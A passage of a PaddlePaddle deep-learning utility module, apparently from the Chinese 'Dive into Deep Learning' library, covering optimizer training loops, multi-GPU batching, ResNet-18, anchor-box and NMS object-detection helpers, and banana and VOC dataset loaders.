d2l.tensor(d2l.zeros((1,)), stop_gradient=False)\n    net, loss = lambda X: d2l.linreg(X, w, b), d2l.squared_loss\n    # \u8bad\u7ec3\u6a21\u578b\n    animator = d2l.Animator(xlabel='epoch', ylabel='loss',\n                            xlim=[0, num_epochs], ylim=[0.22, 0.35])\n    n, timer = 0, d2l.Timer()\n    for _ in range(num_epochs):\n        for X, y in data_iter:\n            l = loss(net(X), y).mean()\n            l.backward()\n            w, b = trainer_fn([w, b], states, hyperparams)\n            n += X.shape[0]\n            if n % 200 == 0:\n                timer.stop()\n                animator.add(n/X.shape[0]/len(data_iter),\n                             (d2l.evaluate_loss(net, data_iter, loss),))\n                timer.start()\n    print(f'loss: {animator.Y[0][-1]:.3f}, {timer.avg():.3f} sec/epoch')\n    return timer.cumsum(), animator.Y[0]\n\n#@save\ndef train_concise_ch11(trainer_fn, hyperparams, data_iter, num_epochs=4):\n    # \u521d\u59cb\u5316\u6a21\u578b\n    net = nn.Sequential(nn.Linear(5, 1))\n    def init_weights(m):\n        if type(m) == nn.Linear:\n            paddle.nn.initializer.Normal(m.weight, std=0.01)\n\n    net.apply(init_weights)\n\n    optimizer = trainer_fn(parameters=net.parameters(), **hyperparams)\n    loss = nn.MSELoss(reduction='none')\n    animator = d2l.Animator(xlabel='epoch', ylabel='loss',\n                            xlim=[0, num_epochs], ylim=[0.22, 0.35])\n    n, timer = 0, d2l.Timer()\n    for _ in range(num_epochs):\n        for X, y in data_iter:\n            optimizer.clear_grad()\n            out = net(X)\n            y = y.reshape(out.shape)\n            l = loss(out, y)\n            l.mean().backward()\n            optimizer.step()\n            n += X.shape[0]\n            if n % 200 == 0:\n                timer.stop()\n                # MSELoss\u8ba1\u7b97\u5e73\u65b9\u8bef\u5dee\u65f6\u4e0d\u5e26\u7cfb\u65701/2\n                animator.add(n/X.shape[0]/len(data_iter),\n                             (d2l.evaluate_loss(net, data_iter, loss) / 2,))\n                timer.start()\n    print(f'loss: {animator.Y[0][-1]:.3f}, {timer.avg():.3f} sec/epoch')\n\n\"\"\"12.1\"\"\"\n#@save\nclass Benchmark:\n    \"\"\"\u7528\u4e8e\u6d4b\u91cf\u8fd0\u884c\u65f6\u95f4\"\"\"\n    def __init__(self, description='Done'):\n        self.description = description\n\n    def __enter__(self):\n        self.timer = d2l.Timer()\n        return self\n\n    def __exit__(self, *args):\n        print(f'{self.description}: {self.timer.stop():.4f} sec')\n\n'''12.5'''\n# \u5b9a\u4e49\u98de\u6868\u5206\u53d1\u51fd\u6570\uff0c\u5c06\u6570\u636e\u5206\u5757\u540e\u5206\u53d1\u7ed9\u6240\u6709GPU\ndef paddlescatter(XY, devices):\n    xy = int(XY.shape[0]/len(devices)) # \u6839\u636eGPU\u6570\u76ee\u8ba1\u7b97\u5206\u5757\u5927\u5c0f\n    return [paddle.to_tensor(XY[i * xy:(i + 1) * xy], place=device) for i, device in enumerate(devices)]\n\n#@save\n# \u5c06X\u548cy\u62c6\u5206\u5230\u591a\u4e2a\u8bbe\u5907\u4e0a\ndef split_batch(X, y, devices):\n    \"\"\"\u5c06X\u548cy\u62c6\u5206\u5230\u591a\u4e2a\u8bbe\u5907\u4e0a\"\"\"\n    assert X.shape[0] == y.shape[0]\n    return (paddlescatter(X, devices),\n            paddlescatter(y, devices))\n\n'''12.6'''\n#@save\ndef resnet18(num_classes, in_channels=1):\n    \"\"\"\u7a0d\u52a0\u4fee\u6539\u7684ResNet-18\u6a21\u578b\"\"\"\n    def resnet_block(in_channels, out_channels, num_residuals,\n                     first_block=False):\n        blk = []\n        for i in range(num_residuals):\n            if i == 0 and not first_block:\n                blk.append(d2l.Residual(in_channels, out_channels,\n                                        use_1x1conv=True, strides=2))\n            else:\n                blk.append(d2l.Residual(out_channels, out_channels))\n        return nn.Sequential(*blk)\n\n    # \u8be5\u6a21\u578b\u4f7f\u7528\u4e86\u66f4\u5c0f\u7684\u5377\u79ef\u6838\u3001\u6b65\u957f\u548c\u586b\u5145\uff0c\u800c\u4e14\u5220\u9664\u4e86\u6700\u5927\u6c47\u805a\u5c42\n    net = nn.Sequential(\n        nn.Conv2D(in_channels, 64, kernel_size=3, stride=1, padding=1),\n        nn.BatchNorm2D(64),\n        nn.ReLU())\n    net.add_sublayer(\"resnet_block1\", resnet_block(\n        64, 64, 2, first_block=True))\n    net.add_sublayer(\"resnet_block2\", resnet_block(64, 128, 2))\n    net.add_sublayer(\"resnet_block3\", resnet_block(128, 256, 2))\n    net.add_sublayer(\"resnet_block4\", resnet_block(256, 512, 2))\n    net.add_sublayer(\"global_avg_pool\", nn.AdaptiveAvgPool2D((1, 1)))\n    net.add_sublayer(\"fc\", nn.Sequential(nn.Flatten(),\n                                       nn.Linear(512, num_classes)))\n    return net\n\n\"\"\"13.1\"\"\"\ndef train_batch_ch13(net, X, y, loss, trainer, devices):\n    \"\"\"\u7528\u591aGPU\u8fdb\u884c\u5c0f\u6279\u91cf\u8bad\u7ec3\n    Defined in :numref:`sec_image_augmentation`\"\"\"\n    if isinstance(X, list):\n        # \u5fae\u8c03BERT\u4e2d\u6240\u9700\uff08\u7a0d\u540e\u8ba8\u8bba\uff09\n        X = [paddle.to_tensor(x, place=devices[0]) for x in X]\n    else:\n        X = paddle.to_tensor(X, place=devices[0])\n    y = paddle.to_tensor(y, place=devices[0])\n    net.train()\n    trainer.clear_grad()\n    pred = net(X)\n    l = loss(pred, y)\n    l.sum().backward()\n    trainer.step()\n    train_loss_sum = l.sum()\n    train_acc_sum = d2l.accuracy(pred, y)\n    return train_loss_sum, train_acc_sum\n\ndef train_ch13(net, train_iter, test_iter, loss, trainer, num_epochs,\n               devices=d2l.try_all_gpus()):\n    \"\"\"\u7528\u591aGPU\u8fdb\u884c\u6a21\u578b\u8bad\u7ec3\n    Defined in :numref:`sec_image_augmentation`\"\"\"\n    timer, num_batches = d2l.Timer(), len(train_iter)\n    animator = d2l.Animator(xlabel='epoch', xlim=[1, num_epochs], ylim=[0, 1],\n                            legend=['train loss', 'train acc', 'test acc'])\n    net = paddle.DataParallel(net)\n    for epoch in range(num_epochs):\n        # 4\u4e2a\u7ef4\u5ea6\uff1a\u50a8\u5b58\u8bad\u7ec3\u635f\u5931\uff0c\u8bad\u7ec3\u51c6\u786e\u5ea6\uff0c\u5b9e\u4f8b\u6570\uff0c\u7279\u70b9\u6570\n        metric = d2l.Accumulator(4)\n        for i, (features, labels) in enumerate(train_iter):\n            timer.start()\n            l, acc = train_batch_ch13(\n                net, features, labels, loss, trainer, devices)\n            metric.add(l, acc, labels.shape[0], labels.numel())\n            timer.stop()\n            if (i + 1) % (num_batches // 5) == 0 or i == num_batches - 1:\n                animator.add(epoch + (i + 1) / num_batches,\n                             (metric[0] / metric[2], metric[1] / metric[3],\n                              None))\n        test_acc = d2l.evaluate_accuracy_gpu(net, test_iter)\n        animator.add(epoch + 1, (None, None, test_acc))\n    print(f'loss {metric[0] / metric[2]:.3f}, train acc '\n          f'{metric[1] / metric[3]:.3f}, test acc {test_acc:.3f}')\n    print(f'{metric[2] * num_epochs / timer.sum():.1f} examples/sec on '\n          f'{str(devices)}')\n\n\"\"\"13.2\"\"\"\n#@save\nd2l.DATA_HUB['hotdog'] = (d2l.DATA_URL + 'hotdog.zip',\n                         'fba480ffa8aa7e0febbb511d181409f899b9baa5')\n\n\"\"\"13.3\"\"\"\n#@save\ndef bbox_to_rect(bbox, color):\n    \"\"\"Defined in :numref:`sec_bbox`\"\"\"\n    # \u5c06\u8fb9\u754c\u6846(\u5de6\u4e0ax,\u5de6\u4e0ay,\u53f3\u4e0bx,\u53f3\u4e0by)\u683c\u5f0f\u8f6c\u6362\u6210matplotlib\u683c\u5f0f\uff1a\n    # ((\u5de6\u4e0ax,\u5de6\u4e0ay),\u5bbd,\u9ad8)\n    return d2l.plt.Rectangle(\n        xy=(bbox[0], bbox[1]), width=bbox[2] - bbox[0], height=bbox[3] - bbox[1],\n        fill=False, edgecolor=color, linewidth=2)\n\n#@save\ndef box_corner_to_center(boxes):\n    \"\"\"\u4ece\uff08\u5de6\u4e0a\uff0c\u53f3\u4e0b\uff09\u8f6c\u6362\u5230\uff08\u4e2d\u95f4\uff0c\u5bbd\u5ea6\uff0c\u9ad8\u5ea6\uff09\"\"\"\n    x1, y1, x2, y2 = boxes[:, 0], boxes[:, 1], boxes[:, 2], boxes[:, 3]\n    cx = (x1 + x2) / 2\n    cy = (y1 + y2) / 2\n    w = x2 - x1\n    h = y2 - y1\n    boxes = paddle.stack((cx, cy, w, h), axis=-1)\n    return boxes\n\n#@save\ndef box_center_to_corner(boxes):\n    \"\"\"\u4ece\uff08\u4e2d\u95f4\uff0c\u5bbd\u5ea6\uff0c\u9ad8\u5ea6\uff09\u8f6c\u6362\u5230\uff08\u5de6\u4e0a\uff0c\u53f3\u4e0b\uff09\"\"\"\n    cx, cy, w, h = boxes[:, 0], boxes[:, 1], boxes[:, 2], boxes[:, 3]\n    x1 = cx - 0.5 * w\n    y1 = cy - 0.5 * h\n    x2 = cx + 0.5 * w\n    y2 = cy + 0.5 * h\n    boxes = paddle.stack((x1, y1, x2, y2), axis=-1)\n    return boxes\n\n\"\"\"13.4\"\"\"\n#@save\ndef multibox_prior(data, sizes, ratios):\n    \"\"\"\u751f\u6210\u4ee5\u6bcf\u4e2a\u50cf\u7d20\u4e3a\u4e2d\u5fc3\u5177\u6709\u4e0d\u540c\u5f62\u72b6\u7684\u951a\u6846\n    Defined in :numref:`sec_anchor`\"\"\"\n    in_height, in_width = data.shape[-2:]\n    device, num_sizes, num_ratios = data.place, len(sizes), len(ratios)\n    boxes_per_pixel = (num_sizes + num_ratios - 1)\n    size_tensor = d2l.tensor(sizes, place=device)\n    ratio_tensor = d2l.tensor(ratios, place=device)\n\n    # \u4e3a\u4e86\u5c06\u951a\u70b9\u79fb\u52a8\u5230\u50cf\u7d20\u7684\u4e2d\u5fc3\uff0c\u9700\u8981\u8bbe\u7f6e\u504f\u79fb\u91cf\u3002\n    # \u56e0\u4e3a\u4e00\u4e2a\u50cf\u7d20\u7684\u7684\u9ad8\u4e3a1\u4e14\u5bbd\u4e3a1\uff0c\u6211\u4eec\u9009\u62e9\u504f\u79fb\u6211\u4eec\u7684\u4e2d\u5fc30.5\n    offset_h, offset_w = 0.5, 0.5\n    steps_h = 1.0 / in_height  # \u5728y\u8f74\u4e0a\u7f29\u653e\u6b65\u957f\n    steps_w = 1.0 / in_width  # \u5728x\u8f74\u4e0a\u7f29\u653e\u6b65\u957f\n\n    # \u751f\u6210\u951a\u6846\u7684\u6240\u6709\u4e2d\u5fc3\u70b9\n    center_h = (paddle.arange(in_height) + offset_h) * steps_h\n    center_w = (paddle.arange(in_width) + offset_w) * steps_w\n    shift_y, shift_x = paddle.meshgrid(center_h, center_w)\n    shift_y, shift_x = paddle.reshape(shift_y, [-1]), paddle.reshape(shift_x, [-1])\n\n    # \u751f\u6210\u201cboxes_per_pixel\u201d\u4e2a\u9ad8\u548c\u5bbd\uff0c\n    # \u4e4b\u540e\u7528\u4e8e\u521b\u5efa\u951a\u6846\u7684\u56db\u89d2\u5750\u6807(xmin,xmax,ymin,ymax)\n    w = paddle.concat((size_tensor * paddle.sqrt(ratio_tensor[0]),\n                        sizes[0] * paddle.sqrt(ratio_tensor[1:]))) \\\n        * in_height / in_width  # \u5904\u7406\u77e9\u5f62\u8f93\u5165\n    h = paddle.concat((size_tensor / paddle.sqrt(ratio_tensor[0]),\n                        sizes[0] / paddle.sqrt(ratio_tensor[1:])))\n    # \u9664\u4ee52\u6765\u83b7\u5f97\u534a\u9ad8\u548c\u534a\u5bbd\n    anchor_manipulations = paddle.tile(paddle.stack((-w, -h, w, h)).T,\n                                        repeat_times=[in_height * in_width, 1]) / 2\n\n    # \u6bcf\u4e2a\u4e2d\u5fc3\u70b9\u90fd\u5c06\u6709\u201cboxes_per_pixel\u201d\u4e2a\u951a\u6846\uff0c\n    # \u6240\u4ee5\u751f\u6210\u542b\u6240\u6709\u951a\u6846\u4e2d\u5fc3\u7684\u7f51\u683c\uff0c\u91cd\u590d\u4e86\u201cboxes_per_pixel\u201d\u6b21\n    out_grid = paddle.stack([shift_x, shift_y, shift_x, shift_y], axis=1)\n    out_grid = paddle.tile(out_grid, repeat_times=[boxes_per_pixel]).reshape((-1, out_grid.shape[1]))\n    output = out_grid + anchor_manipulations\n    return output.unsqueeze(0)\n\ndef show_bboxes(axes, bboxes, labels=None, colors=None):\n    \"\"\"\u663e\u793a\u6240\u6709\u8fb9\u754c\u6846\n    Defined in :numref:`sec_anchor`\"\"\"\n\n    def _make_list(obj, default_values=None):\n        if obj is None:\n            obj = default_values\n        elif not isinstance(obj, (list, tuple)):\n            obj = [obj]\n        return obj\n\n    labels = _make_list(labels)\n    colors = _make_list(colors, ['b', 'g', 'r', 'm', 'c'])\n    for i, bbox in enumerate(bboxes):\n        color = colors[i % len(colors)]\n        rect = d2l.bbox_to_rect(d2l.numpy(bbox), color)\n        axes.add_patch(rect)\n        if labels and len(labels) > i:\n            text_color = 'k' if color == 'w' else 'w'\n            axes.text(rect.xy[0], rect.xy[1], labels[i],\n                      va='center', ha='center', fontsize=9, color=text_color,\n                      bbox=dict(facecolor=color, lw=0))\n\n#@save\ndef box_iou(boxes1, boxes2):\n    \"\"\"\u8ba1\u7b97\u4e24\u4e2a\u951a\u6846\u6216\u8fb9\u754c\u6846\u5217\u8868\u4e2d\u6210\u5bf9\u7684\u4ea4\u5e76\u6bd4\"\"\"\n    box_area = lambda boxes: ((boxes[:, 2] - boxes[:, 0]) *\n                              (boxes[:, 3] - boxes[:, 1]))\n    # boxes1,boxes2,areas1,areas2\u7684\u5f62\u72b6:\n    # boxes1\uff1a(boxes1\u7684\u6570\u91cf,4),\n    # boxes2\uff1a(boxes2\u7684\u6570\u91cf,4),\n    # areas1\uff1a(boxes1\u7684\u6570\u91cf,),\n    # areas2\uff1a(boxes2\u7684\u6570\u91cf,)\n    areas1 = box_area(boxes1)\n    areas2 = box_area(boxes2)\n    # inter_upperlefts,inter_lowerrights,inters\u7684\u5f62\u72b6:\n    # (boxes1\u7684\u6570\u91cf,boxes2\u7684\u6570\u91cf,2)\n    inter_upperlefts = paddle.maximum(boxes1[:, None, :2], boxes2[:, :2])\n    inter_lowerrights = paddle.minimum(boxes1[:, None, 2:], boxes2[:, 2:])\n    inters = (inter_lowerrights - inter_upperlefts).clip(min=0)\n    # inter_areasandunion_areas\u7684\u5f62\u72b6:(boxes1\u7684\u6570\u91cf,boxes2\u7684\u6570\u91cf)\n    inter_areas = inters[:, :, 0] * inters[:, :, 1]\n    union_areas = areas1[:, None] + areas2 - inter_areas\n    return inter_areas / union_areas\n\n#@save\ndef assign_anchor_to_bbox(ground_truth, anchors, iou_threshold=0.5):\n    \"\"\"\u5c06\u6700\u63a5\u8fd1\u7684\u771f\u5b9e\u8fb9\u754c\u6846\u5206\u914d\u7ed9\u951a\u6846\"\"\"\n    num_anchors, num_gt_boxes = anchors.shape[0], ground_truth.shape[0]\n    # \u4f4d\u4e8e\u7b2ci\u884c\u548c\u7b2cj\u5217\u7684\u5143\u7d20x_ij\u662f\u951a\u6846i\u548c\u771f\u5b9e\u8fb9\u754c\u6846j\u7684IoU\n    jaccard = box_iou(anchors, ground_truth)\n    # \u5bf9\u4e8e\u6bcf\u4e2a\u951a\u6846\uff0c\u5206\u914d\u7684\u771f\u5b9e\u8fb9\u754c\u6846\u7684\u5f20\u91cf\n    anchors_bbox_map = paddle.full((num_anchors,), -1, dtype=paddle.int64)\n    # \u6839\u636e\u9608\u503c\uff0c\u51b3\u5b9a\u662f\u5426\u5206\u914d\u771f\u5b9e\u8fb9\u754c\u6846\n    indices = paddle.argmax(jaccard, axis=1)\n    max_ious = paddle.max(jaccard, axis=1)\n    anc_i = paddle.nonzero(max_ious >= 0.5).reshape([-1])\n    box_j = indices[max_ious >= 0.5]\n    anchors_bbox_map[anc_i] = box_j\n    col_discard = paddle.full((num_anchors,), -1)\n    row_discard = paddle.full((num_gt_boxes,), -1)\n    for _ in range(num_gt_boxes):\n        max_idx = paddle.argmax(jaccard)\n        box_idx = (max_idx % num_gt_boxes).astype(paddle.int64)\n        anc_idx = (max_idx / num_gt_boxes).astype(paddle.int64)\n        anchors_bbox_map[anc_idx] = box_idx\n        jaccard[:, box_idx] = col_discard\n        jaccard[anc_idx, :] = row_discard\n    return anchors_bbox_map\n\n#@save\ndef offset_boxes(anchors, assigned_bb, eps=1e-6):\n    \"\"\"\u5bf9\u951a\u6846\u504f\u79fb\u91cf\u7684\u8f6c\u6362\"\"\"\n    c_anc = d2l.box_corner_to_center(anchors)\n    c_assigned_bb = d2l.box_corner_to_center(assigned_bb)\n    offset_xy = 10 * (c_assigned_bb[:, :2] - c_anc[:, :2]) / c_anc[:, 2:]\n    offset_wh = 5 * paddle.log(eps + c_assigned_bb[:, 2:] / c_anc[:, 2:])\n    offset = paddle.concat([offset_xy, offset_wh], axis=1)\n    return offset\n\n#@save\ndef multibox_target(anchors, labels):\n    \"\"\"\u4f7f\u7528\u771f\u5b9e\u8fb9\u754c\u6846\u6807\u8bb0\u951a\u6846\"\"\"\n    batch_size, anchors = labels.shape[0], anchors.squeeze(0)\n    batch_offset, batch_mask, batch_class_labels = [], [], []\n    num_anchors = anchors.shape[0]\n    for i in range(batch_size):\n        label = labels[i, :, :]\n        anchors_bbox_map = assign_anchor_to_bbox(\n            label[:, 1:], anchors)\n        bbox_mask = ((anchors_bbox_map >= 0).astype(paddle.float32).unsqueeze(-1)).tile(\n            [1, 4])\n        # \u5c06\u7c7b\u6807\u7b7e\u548c\u5206\u914d\u7684\u8fb9\u754c\u6846\u5750\u6807\u521d\u59cb\u5316\u4e3a\u96f6\n        class_labels = paddle.zeros([num_anchors], dtype=paddle.int64)\n        assigned_bb = paddle.zeros((num_anchors, 4), dtype=paddle.float32)\n        # \u4f7f\u7528\u771f\u5b9e\u8fb9\u754c\u6846\u6765\u6807\u8bb0\u951a\u6846\u7684\u7c7b\u522b\u3002\n        # \u5982\u679c\u4e00\u4e2a\u951a\u6846\u6ca1\u6709\u88ab\u5206\u914d\uff0c\u6211\u4eec\u6807\u8bb0\u5176\u4e3a\u80cc\u666f\uff08\u503c\u4e3a\u96f6\uff09\n        indices_true = paddle.nonzero(anchors_bbox_map >= 0)\n        bb_idx = anchors_bbox_map[indices_true]\n        class_labels[indices_true] = label[:, 0][bb_idx].astype(paddle.int64) + 1\n        assigned_bb[indices_true] = label[:, 1:][bb_idx]\n        # \u504f\u79fb\u91cf\u8f6c\u6362\n        offset = offset_boxes(anchors, assigned_bb) * bbox_mask\n        batch_offset.append(offset.reshape([-1]))\n        batch_mask.append(bbox_mask.reshape([-1]))\n        batch_class_labels.append(class_labels)\n    bbox_offset = paddle.stack(batch_offset)\n    bbox_mask = paddle.stack(batch_mask)\n    class_labels = paddle.stack(batch_class_labels)\n    return (bbox_offset, bbox_mask, class_labels)\n\n#@save\ndef offset_inverse(anchors, offset_preds):\n    \"\"\"\u6839\u636e\u5e26\u6709\u9884\u6d4b\u504f\u79fb\u91cf\u7684\u951a\u6846\u6765\u9884\u6d4b\u8fb9\u754c\u6846\"\"\"\n    anc = d2l.box_corner_to_center(anchors)\n    pred_bbox_xy = (offset_preds[:, :2] * anc[:, 2:] / 10) + anc[:, :2]\n    pred_bbox_wh = paddle.exp(offset_preds[:, 2:] / 5) * anc[:, 2:]\n    pred_bbox = paddle.concat((pred_bbox_xy, pred_bbox_wh), axis=1)\n    predicted_bbox = d2l.box_center_to_corner(pred_bbox)\n    return predicted_bbox\n\n#@save\ndef nms(boxes, scores, iou_threshold):\n    \"\"\"\u5bf9\u9884\u6d4b\u8fb9\u754c\u6846\u7684\u7f6e\u4fe1\u5ea6\u8fdb\u884c\u6392\u5e8f\"\"\"\n    B = paddle.argsort(scores, axis=-1, descending=True)\n    keep = []  # \u4fdd\u7559\u9884\u6d4b\u8fb9\u754c\u6846\u7684\u6307\u6807\n    while B.numel() > 0:\n        i = B.numpy()[0]\n        keep.append(i)\n        if B.numel() == 1: break\n        iou = box_iou(boxes[i].reshape([-1, 4]),\n                      boxes[B[1:]].reshape([-1, 4])).reshape([-1])\n        inds = paddle.nonzero(iou <= iou_threshold).reshape([-1])\n        B = B[inds + 1]\n    return paddle.to_tensor(keep)\n\n#@save\ndef multibox_detection(cls_probs, offset_preds, anchors, nms_threshold=0.5,\n                       pos_threshold=0.009999999):\n    \"\"\"\u4f7f\u7528\u975e\u6781\u5927\u503c\u6291\u5236\u6765\u9884\u6d4b\u8fb9\u754c\u6846\"\"\"\n    place, batch_size = cls_probs.place, cls_probs.shape[0]\n    anchors = anchors.squeeze(0)\n    num_classes, num_anchors = cls_probs.shape[1], cls_probs.shape[2]\n    out = []\n    for i in range(batch_size):\n        cls_prob, offset_pred = cls_probs[i], offset_preds[i].reshape([-1, 4])\n        conf = paddle.max(cls_prob[1:], 0)\n        class_id = paddle.argmax(cls_prob[1:], 0).numpy()\n        predicted_bb = offset_inverse(anchors, offset_pred)\n        keep = nms(predicted_bb, conf, nms_threshold)\n\n        # \u627e\u5230\u6240\u6709\u7684non_keep\u7d22\u5f15\uff0c\u5e76\u5c06\u7c7b\u8bbe\u7f6e\u4e3a\u80cc\u666f\n        all_idx = paddle.arange(num_anchors, dtype='int64')\n        combined = paddle.concat((keep, all_idx))\n        uniques, counts = combined.unique(return_counts=True)\n        non_keep = uniques[counts == 1]\n        all_id_sorted = paddle.concat([keep, non_keep])\n        class_id[non_keep] = -1\n        class_id = class_id[all_id_sorted]\n        conf, predicted_bb = conf[all_id_sorted], predicted_bb[all_id_sorted]\n        # pos_threshold\u662f\u4e00\u4e2a\u7528\u4e8e\u975e\u80cc\u666f\u9884\u6d4b\u7684\u9608\u503c\n        below_min_idx = (conf < pos_threshold)\n        conf = conf.numpy()\n        class_id[below_min_idx.numpy()] = -1\n        conf[below_min_idx.numpy()] = 1 - conf[below_min_idx.numpy()]\n        pred_info = paddle.concat((paddle.to_tensor(class_id, dtype='float32').unsqueeze(1),\n                                    paddle.to_tensor(conf, dtype='float32').unsqueeze(1),\n                                    predicted_bb), axis=1)\n        out.append(pred_info)\n    return paddle.stack(out)\n\n\"\"\"13.6\"\"\"\n#@save\nd2l.DATA_HUB['banana-detection'] = (\n    d2l.DATA_URL + 'banana-detection.zip',\n    '5de26c8fce5ccdea9f91267273464dc968d20d72')\n\n\n#@save\ndef read_data_bananas(is_train=True):\n    \"\"\"\u8bfb\u53d6\u9999\u8549\u68c0\u6d4b\u6570\u636e\u96c6\u4e2d\u7684\u56fe\u50cf\u548c\u6807\u7b7e\"\"\"\n    data_dir = d2l.download_extract('banana-detection')\n    csv_fname = os.path.join(data_dir, 'bananas_train' if is_train\n                             else 'bananas_val', 'label.csv')\n    csv_data = pd.read_csv(csv_fname)\n    csv_data = csv_data.set_index('img_name')\n    images, targets = [], []\n    for img_name, target in csv_data.iterrows():\n        paddle.vision.set_image_backend('cv2')\n        images.append(paddlevision.image_load(os.path.join(data_dir, 'bananas_train' if is_train else\n        'bananas_val', 'images', f'{img_name}'))[..., ::-1])\n        # \u8fd9\u91cc\u7684target\u5305\u542b\uff08\u7c7b\u522b\uff0c\u5de6\u4e0a\u89d2x\uff0c\u5de6\u4e0a\u89d2y\uff0c\u53f3\u4e0b\u89d2x\uff0c\u53f3\u4e0b\u89d2y\uff09\n        # \u5176\u4e2d\u6240\u6709\u56fe\u50cf\u90fd\u5177\u6709\u76f8\u540c\u7684\u9999\u8549\u7c7b\uff08\u7d22\u5f15\u4e3a0\uff09\n        targets.append(list(target))\n    return images, paddle.to_tensor(targets).unsqueeze(1) / 256\n\n#@save\nclass BananasDataset(paddle.io.Dataset):\n    \"\"\"\u4e00\u4e2a\u7528\u4e8e\u52a0\u8f7d\u9999\u8549\u68c0\u6d4b\u6570\u636e\u96c6\u7684\u81ea\u5b9a\u4e49\u6570\u636e\u96c6\"\"\"\n    def __init__(self, is_train):\n        self.features, self.labels = read_data_bananas(is_train)\n        print('read ' + str(len(self.features)) + (f' training examples' if\n              is_train else f' validation examples'))\n\n    def __getitem__(self, idx):\n        return (paddle.to_tensor(self.features[idx], dtype='float32').transpose([2, 0, 1]), self.labels[idx])\n\n    def __len__(self):\n        return len(self.features)\n\n#@save\ndef load_data_bananas(batch_size):\n    \"\"\"\u52a0\u8f7d\u9999\u8549\u68c0\u6d4b\u6570\u636e\u96c6\"\"\"\n    train_iter = paddle.io.DataLoader(BananasDataset(is_train=True),\n                                             batch_size=batch_size, shuffle=True)\n    val_iter = paddle.io.DataLoader(BananasDataset(is_train=False),\n                                           batch_size=batch_size)\n    return train_iter, val_iter\n\n\"\"\"13.9\"\"\"\nd2l.DATA_HUB['voc2012'] = (d2l.DATA_URL + 'VOCtrainval_11-May-2012.tar',\n                           '4e443f8a2eca6b1dac8a6c57641b67dd40621a49')\n\n\ndef read_voc_images(voc_dir, is_train=True):\n    \"\"\"\u8bfb\u53d6\u6240\u6709VOC\u56fe\u50cf\u5e76\u6807\u6ce8\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n    txt_fname = os.path.join(voc_dir, 'ImageSets', 'Segmentation',\n                             'train.txt' if is_train else 'val.txt')\n    with open(txt_fname, 'r') as f:\n        images = f.read().split()\n    features, labels = [], []\n    for i, fname in enumerate(images):\n        features.append(paddle.to_tensor(paddle.vision.image.image_load(os.path.join(\n            voc_dir, 'JPEGImages', f'{fname}.jpg'), backend='cv2')[..., ::-1], dtype=paddle.float32).transpose(\n            [2, 0, 1]))\n        labels.append(paddle.to_tensor(paddle.vision.image.image_load(os.path.join(\n            voc_dir, 'SegmentationClass', f'{fname}.png'), backend='cv2')[..., ::-1], dtype=paddle.float32).transpose(\n            [2, 0, 1]))\n    return features, labels\n\n\nVOC_COLORMAP = [[0, 0, 0], [128, 0, 0], [0, 128, 0], [128, 128, 0],\n                [0, 0, 128], [128, 0, 128], [0, 128, 128], [128, 128, 128],\n                [64, 0, 0], [192, 0, 0], [64, 128, 0], [192, 128, 0],\n                [64, 0, 128], [192, 0, 128], [64, 128, 128], [192, 128, 128],\n                [0, 64, 0], [128, 64, 0], [0, 192, 0], [128, 192, 0],\n                [0, 64, 128]]\n\nVOC_CLASSES = ['background', 'aeroplane', 'bicycle', 'bird', 'boat',\n               'bottle', 'bus', 'car', 'cat', 'chair', 'cow',\n               'diningtable', 'dog', 'horse', 'motorbike', 'person',\n               'potted plant', 'sheep', 'sofa', 'train', 'tv/monitor']\n\n\ndef voc_colormap2label():\n    \"\"\"\u6784\u5efa\u4eceRGB\u5230VOC\u7c7b\u522b\u7d22\u5f15\u7684\u6620\u5c04\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n    colormap2label = paddle.zeros([256 ** 3], dtype=paddle.int64)\n    for i, colormap in enumerate(VOC_COLORMAP):\n        colormap2label[\n            (colormap[0] * 256 + colormap[1]) * 256 + colormap[2]] = i\n    return colormap2label\n\n\ndef voc_label_indices(colormap, colormap2label):\n    \"\"\"\u5c06VOC\u6807\u7b7e\u4e2d\u7684RGB\u503c\u6620\u5c04\u5230\u5b83\u4eec\u7684\u7c7b\u522b\u7d22\u5f15\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n    colormap = colormap.transpose([1, 2, 0]).astype('int32')\n    idx = ((colormap[:, :, 0] * 256 + colormap[:, :, 1]) * 256\n           + colormap[:, :, 2])\n    return colormap2label[idx]\n\n\ndef voc_rand_crop(feature, label, height, width):\n    \"\"\"\u968f\u673a\u88c1\u526a\u7279\u5f81\u548c\u6807\u7b7e\u56fe\u50cf\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n    rect = paddle.vision.transforms.RandomCrop((height, width))._get_param(\n        img=feature, output_size=(height, width))\n    feature = paddle.vision.transforms.crop(feature, *rect)\n    label = paddle.vision.transforms.crop(label, *rect)\n    return feature, label\n\n\nclass VOCSegDataset(paddle.io.Dataset):\n    \"\"\"\u4e00\u4e2a\u7528\u4e8e\u52a0\u8f7dVOC\u6570\u636e\u96c6\u7684\u81ea\u5b9a\u4e49\u6570\u636e\u96c6\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n\n    def __init__(self, is_train, crop_size, voc_dir):\n        self.transform = paddle.vision.transforms.Normalize(\n            mean=[0.485, 0.456, 0.406], std=[0.229, 0.224, 0.225])\n        self.crop_size = crop_size\n        features, labels = read_voc_images(voc_dir, is_train=is_train)\n        self.features = [self.normalize_image(feature)\n                         for feature in self.filter(features)]\n        self.labels = self.filter(labels)\n        self.colormap2label = voc_colormap2label()\n        print('read ' + str(len(self.features)) + ' examples')\n\n    def normalize_image(self, img):\n        return self.transform(img.astype(paddle.float32) / 255)\n\n    def filter(self, imgs):\n        return [img for img in imgs if (\n                img.shape[1] >= self.crop_size[0] and\n                img.shape[2] >= self.crop_size[1])]\n\n    def __getitem__(self, idx):\n        feature, label = voc_rand_crop(self.features[idx], self.labels[idx],\n                                       *self.crop_size)\n\n        return (feature, voc_label_indices(label, self.colormap2label))\n\n    def __len__(self):\n        return len(self.features)\n\n\ndef load_data_voc(batch_size, crop_size):\n    \"\"\"\u52a0\u8f7dVOC\u8bed\u4e49\u5206\u5272\u6570\u636e\u96c6\n    Defined in :numref:`sec_semantic_segmentation`\"\"\"\n    voc_dir = d2l.download_extract('voc2012', os.path.join(\n        'VOCdevkit', 'VOC2012'))\n    num_workers = d2l.get_dataloader_workers()\n    train_iter = paddle.io.DataLoader(\n        VOCSegDataset(True, crop_size, voc_dir), batch_size=batch_size,\n        shuffle=True, drop_last=True, num_workers=num_workers)\n    test_iter = paddle.io.DataLoader(\n        VOCSegDataset(False, crop_size, voc_dir), batch_size=batch_size,\n        drop_last=True, 